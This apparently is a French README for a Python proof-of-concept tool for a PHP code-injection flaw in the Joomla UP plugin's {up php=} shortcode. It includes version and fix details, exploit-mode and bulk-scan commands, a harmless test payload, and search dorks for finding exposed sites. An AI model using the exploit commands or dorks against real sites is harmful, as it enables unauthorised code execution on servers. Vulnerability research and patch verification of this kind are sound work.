murrez/cve-2026-97160PoC Python pour CVE-2026-97160 : détecte les versions vulnérables du plugin Joomla UP et vérifie l'exécution de code PHP via le shortcode {up php=} dans les articles publics.
PoC en Python 3 pour CVE-2026-97160 — UP (Universal Plugin) pour Joomla (lomart.fr / up.lomart.fr).
CVE-2026-97160 — le plugin UP 5.0.0–5.2.0 et 6.0.0–6.0.29 permettent une injection de code PHP via les shortcodes {up php=...} traités avec eval() (CWE-94). Le CNA classe cela comme authentifié / privilège élevé ; avant 6.1.0 / 5.2.1, les auteurs d'articles pouvaient contourner les vérifications d'actions réservées via une normalisation des noms entre l'enregistrement et le rendu, de sorte que le PHP contenu dans un article s'exécutait pour chaque visiteur. CVSS 4.0 9.4 Critique. Correctif : UP 6.1.0 (Joomla 5.2+) ou 5.2.1 (Joomla 3.10–5.1).
Associés (même version) : CVE-2026-97161 (lecture de fichiers / traversée de répertoires), CVE-2026-97162 (SQLi), CVE-2026-97163 (mini-installation GitHub).
Page du PoC : https://pocbit.org/pocs/cve-2026-97160
Catalogue : https://pocbit.org/pocs/
| Produit | Plugin UP pour Joomla (plg_content_up) |
| Chemin | plugins/content/up/ |
| Affecté | 5.0.0–5.2.0, 6.0.0–6.0.29 |
| Corrigé | 5.2.1, 6.1.0 |
| Vecteur | Shortcode d'article/module {up php=...} |
| Assignateur | Joomla CNA |
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --article-url "https://joomla.example/index.php?option=com_content&view=article&id=42"
python poc.py -u https://joomla.example --mode exploit --article-url "https://joomla.example/your-article"
python poc.py --list targets.example.txt --mode check -j 10
Labo : En tant qu'administrateur (ou auteur sur les versions vulnérables), ajoutez au corps de l'article :
{up php=echo 'POCBIT-97160-OK';}
Publiez, puis exécutez --mode exploit --article-url <URL publique>.
body="plugins/content/up"
body="{up php"
inurl:"option=com_content" "lomart"
PoC CVE-2026-97160 : Joomla UP (lomart.fr) ≤6.0.29 / ≤5.2.0 — injection de code via eval du shortcode privilégié {up php=} (contournement par l'auteur sur les anciennes versions). PoCbit
CVE-2026-97160 : Exécution de PHP sur le serveur via {up php=...} dans l'extension Joomla UP ; corrigé avec 6.1.0 / 5.2.1.
Tests autorisés uniquement. Ne publiez pas de shortcodes malveillants sur des sites qui ne vous appartiennent pas.